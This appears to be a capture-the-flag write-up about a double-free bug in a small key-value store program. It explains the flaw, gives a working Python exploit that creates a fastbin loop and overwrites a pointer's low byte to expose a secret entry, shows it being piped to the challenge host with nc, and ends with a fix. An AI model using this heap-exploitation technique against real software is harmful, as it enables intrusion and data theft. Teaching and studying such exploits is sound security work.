Analysis of the bug =================== The code that checks for duplicate keys calls `free(e->value)` but doesn't set `e->value` to `NULL`. This leads to a double-free bug when combined with the `c` command, that invokes `cleanup()`. Attack plan =========== The idea is to overwrite the `:secret0` key with an attacker-chosen value that doesn't start with `:`, so that the secret value can be later extracted with a simple `s` command. The bug can be exploited to first obtain a pointer in the heap, and then redirect it by changing just the least significant byte. Attack implementation ===================== We exploit the double-free bug to create a loop in a fastbin queue, then we exploit the loop to trick the program into allocating a chunk that overlaps `entries[0]->value`. The program is PIE, but we can reach that chunk by carefully overwriting only the least significant byte of the fastbin head. We put the following in an `xpl.py` file: ```python import sys import struct # trigger the bug (we know that there already is a ':secret0' key) o = b'n8,0\n' o+= b':secret0\n' # create the fastbin loop o+= b'c\n' # now the chunk allocated above stores its own address in its user memory. # We overwrite its least significant byte to turn it into the address of # the :secret0 chunk. o+= b'n1,0\n' o+= b'\x90\n' # now we move the modified address into the fastbin head. We need to write # at least 1 byte, but we don't care about its value at this point. o+= b'n1,0\n' o+= b'\xd0\n' # this last allocation will return a pointer to the :secret0 chunk. We # overwrite the ':' prefix to make the key searchable. o+= b'n1,0\n' o+= b'X\n' # and finally search for the modified key o+= b's8\nXsecret0\n' sys.stdout.buffer.write(o) ``` Then we can obtain the flag with ```sh PYTHONIOENCODING=iso-8859-1 python3 xpl.py | nc $HOST $PORT ``` Suggested fix ============= After `free(s->value)` we also need `s->value = NULL`. The program should also check that the first malloc() doesn't fail, even though failure is unlikely at that stage.